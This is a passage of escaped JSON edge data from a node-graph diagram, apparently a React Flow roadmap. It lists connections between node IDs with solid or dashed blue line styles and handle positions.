\"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6xfQic8dMwUsMQa7VtS8_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kK-Z2hA1B6bV4yXYFY34V\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__6xfQic8dMwUsMQa7VtS8_z2-kK-Z2hA1B6bV4yXYFY34Vy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kK-Z2hA1B6bV4yXYFY34V\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"g5j_mbjx2yZUIK5lfN3eT\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__kK-Z2hA1B6bV4yXYFY34Vz2-g5j_mbjx2yZUIK5lfN3eTy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MlUILykYMJ69TPBxkeejT\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gJBaVERU3prru-qRksxN4\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__MlUILykYMJ69TPBxkeejTy2-gJBaVERU3prru-qRksxN4z1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJBaVERU3prru-qRksxN4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Vo7LJ_W-DBvxvVrnz33BM\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__gJBaVERU3prru-qRksxN4x2-Vo7LJ_W-DBvxvVrnz33BMw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Vo7LJ_W-DBvxvVrnz33BM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"TCYG6vmFqq1zAPNQWoOH8\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Vo7LJ_W-DBvxvVrnz33BMx2-TCYG6vmFqq1zAPNQWoOH8w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Vo7LJ_W-DBvxvVrnz33BM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ETT9eATuyLHQe2jPqaF5I\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Vo7LJ_W-DBvxvVrnz33BMz2-ETT9eATuyLHQe2jPqaF5Iy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GVgfPajmSqIgFZ6u2I1tK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PbTGKum1l9AoxaUGOzsXP\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__GVgfPajmSqIgFZ6u2I1tKz2-PbTGKum1l9AoxaUGOzsXPy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GVgfPajmSqIgFZ6u2I1tK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SNkYi2VZsCRG31v63v8_x\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__GVgfPajmSqIgFZ6u2I1tKz2-SNkYi2VZsCRG31v63v8_xy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GVgfPajmSqIgFZ6u2I1tK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wqLcUFVsLa_l9yQIee9MG\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__GVgfPajmSqIgFZ6u2I1tKz2-wqLcUFVsLa_l9yQIee9MGy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GVgfPajmSqIgFZ6u2I1tK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"BUizLtQ7vpdyBRjS8KyIl\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__GVgfPajmSqIgFZ6u2I1tKz2-BUizLtQ7vpdyBRjS8KyIly1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hrkMVMYWCedRxhNd2N9wE\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"QPYfdTwOFTyEE-iPLMDrz\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__hrkMVMYWCedRxhNd2N9wEx2-QPYfdTwOFTyEE-iPLMDrzw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QPYfdTwOFTyEE-iPLMDrz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sltVKaKKjmzu17jDv9OFF\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__QPYfdTwOFTyEE-iPLMDrzx2-sltVKaKKjmzu17jDv9OFFw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eKBORkRU6HCH-D4GWHyKR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wtEzdO_ZNu9jHJrFS3CrG\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eKBORkRU6HCH-D4GWHyKRy2-wtEzdO_ZNu9jHJrFS3CrGz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eKBORkRU6HCH-D4GWHyKR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"EDQjtoTd01ftwXxYkV9it\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eKBORkRU6HCH-D4GWHyKRy2-EDQjtoTd01ftwXxYkV9itz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eKBORkRU6HCH-D4GWHyKR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qGVDuU9RA9Y5g5vlPd-xq\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eKBORkRU6HCH-D4GWHyKRy2-qGVDuU9RA9Y5g5vlPd-xqz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eKBORkRU6HCH-D4GWHyKR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7t0WfLLqrD5VJQwIAmXMo\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eKBORkRU6HCH-D4GWHyKRy2-7t0WfLLqrD5VJQwIAmXMoz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eKBORkRU6HCH-D4GWHyKR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SJGEkoTSPK2ck4IvaK6Gz\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eKBORkRU6HCH-D4GWHyKRy2-SJGEkoTSPK2ck4IvaK6Gzz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eKBORkRU6HCH-D4GWHyKR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GHr_rPB2cus3p3fgwGMdR\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__eKBORkRU6HCH-D4GWHyKRx2-eoLdywVPgNoGTHBQpLWRhw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GHr_rPB2cus3p3fgwGMdR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"LLK3_hudKDX5d-fd98vlx\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__eoLdywVPgNoGTHBQpLWRhx2-LLK3_hudKDX5d-fd98vlxw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LLK3_hudKDX5d-fd98vlx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kpRqKLtAd3IO3nbs8Yxrh\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__LLK3_hudKDX5d-fd98vlxz2-kpRqKLtAd3IO3nbs8Yxrhy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kpRqKLtAd3IO3nbs8Yxrh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KSxjcWV6C325kZITzAhWs\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__kpRqKLtAd3IO3nbs8Yxrhx2-KSxjcWV6C325kZITzAhWsw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KSxjcWV6C325kZITzAhWs\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dY-TBN_bsJdnKPcsNX67Q\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__KSxjcWV6C325kZITzAhWsy2-eoLdywVPgNoGTHBQpLWRhz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dY-TBN_bsJdnKPcsNX67Q\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"D94743lQ1fAerVSpJWXfP\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eoLdywVPgNoGTHBQpLWRhy2-D94743lQ1fAerVSpJWXfPz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dY-TBN_bsJdnKPcsNX67Q\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Z4pAe4FpnCkUJt8RuOhC6\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eoLdywVPgNoGTHBQpLWRhy2-pNUJVoFV1oQJmTun5cwRvz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dY-TBN_bsJdnKPcsNX67Q\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_KYKLd-RNhVy-Sn1A-G5j\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__eoLdywVPgNoGTHBQpLWRhy2-_KYKLd-RNhVy-Sn1A-G5jz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dY-TBN_bsJdnKPcsNX67Q\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6vLHalrdOPZIVFUyCM8gc\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__dY-TBN_bsJdnKPcsNX67Qx2-eoLdywVPgNoGTHBQpLWRhw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6vLHalrdOPZIVFUyCM8gc\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xftv5BiyoVrFjpSN0tjsw\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__eoLdywVPgNoGTHBQpLWRhx2-xftv5BiyoVrFjpSN0tjsww1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xftv5BiyoVrFjpSN0tjsw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1T2PyytlmndHreWgueD55\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__xftv5BiyoVrFjpSN0tjswz2-1T2PyytlmndHreWgueD55y1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xftv5BiyoVrFjpSN0tjsw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aJLGan5dkMefvkspFlcYo\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__xftv5BiyoVrFjpSN0tjswz2-aJLGan5dkMefvkspFlcYoy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xftv5BiyoVrFjpSN0tjsw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"j-GXKpMnsVuUUUdRxAXLe\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__xftv5BiyoVrFjpSN0tjswz2-j-GXKpMnsVuUUUdRxAXLey1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xftv5BiyoVrFjpSN0tjsw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JHGV0V78GXubiSY9P3nTw\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__xftv5BiyoVrFjpSN0tjswz2-JHGV0V78GXubiSY9P3nTwy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xftv5BiyoVrFjpSN0tjsw\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7LbhfkmS7oFoSF1k5ZR1U\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__xftv5BiyoVrFjpSN0tjswx2-7LbhfkmS7oFoSF1k5ZR1Uw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7LbhfkmS7oFoSF1k5ZR1U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7jrzQogTOc6lHXfpYLCsx\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__7LbhfkmS7oFoSF1k5ZR1Uy2-7jrzQogTOc6lHXfpYLCsxz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7LbhfkmS7oFoSF1k5ZR1U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0qRm81lJX_Eb6aJkJMjeL\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__7LbhfkmS7oFoSF1k5ZR1Uy2-0qRm81lJX_Eb6aJkJMjeLz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7LbhfkmS7oFoSF1k5ZR1U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LkbB0rpS3Du2K7_ogoc34\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__7LbhfkmS7oFoSF1k5ZR1Uy2-LkbB0rpS3Du2K7_ogoc34z2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7LbhfkmS7oFoSF1k5ZR1U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VPu8vn7-baZQ5ORJ6ViW0\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__7LbhfkmS7oFoSF1k5ZR1Uy2-VPu8vn7-baZQ5ORJ6ViW0z1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7LbhfkmS7oFoSF1k5ZR1U\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VpGVezYr9O6puhAF12PN2\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__7LbhfkmS7oFoSF1k5ZR1Ux2-VpGVezYr9O6puhAF12PN2w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VpGVezYr9O6puhAF12PN2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ku3m0ZmNg23F0Z5CEb4JI\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__VpGVezYr9O6puhAF12PN2z2-ku3m0ZmNg23F0Z5CEb4JIy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VpGVezYr9O6puhAF12PN2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"omvGuhou7_63k-Fwcc7Mu\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__VpGVezYr9O6puhAF12PN2z2-omvGuhou7_63k-Fwcc7Muy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VpGVezYr9O6puhAF12PN2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Cydlrtg_FClBUkjezqGie\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__VpGVezYr9O6puhAF12PN2z2-Cydlrtg_FClBUkjezqGiey2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VpGVezYr9O6puhAF12PN2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LI09SvvUUCQxLZZee_j0n\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__VpGVezYr9O6puhAF12PN2z2-LI09SvvUUCQxLZZee_j0ny1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VpGVezYr9O6puhAF12PN2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zEGmDHaFa-F81tWqa3i9E\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__VpGVezYr9O6puhAF12PN2x2-zEGmDHaFa-F81tWqa3i9Ew1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zEGmDHaFa-F81tWqa3i9E\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"L50rpcgGjsQU3S0zRn6xh\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__zEGmDHaFa-F81tWqa3i9Ey2-L50rpcgGjsQU3S0zRn6xhz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zEGmDHaFa-F81tWqa3i9E\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Xe9zK8xhkkr4fsh3HOzAY\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__zEGmDHaFa-F81tWqa3i9Ey2-Xe9zK8xhkkr4fsh3HOzAYz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zEGmDHaFa-F81tWqa3i9E\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-hNguvT6SQCqAgVpoQByr\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__zEGmDHaFa-F81tWqa3i9Ey2--hNguvT6SQCqAgVpoQByrz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zEGmDHaFa-F81tWqa3i9E\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yimCxOdNtyGcbd6ZxHsBQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__zEGmDHaFa-F81tWqa3i9Ey2-yimCxOdNtyGcbd6ZxHsBQz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zEGmDHaFa-F81tWqa3i9E\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"k8r0_6oOYgNyHfvZQvQVk\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__zEGmDHaFa-F81tWqa3i9Ex2-eoLdywVPgNoGTHBQpLWRhw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"k8r0_6oOYgNyHfvZQvQVk\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yseEaLsEzIcqJ0YIoGujl\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": 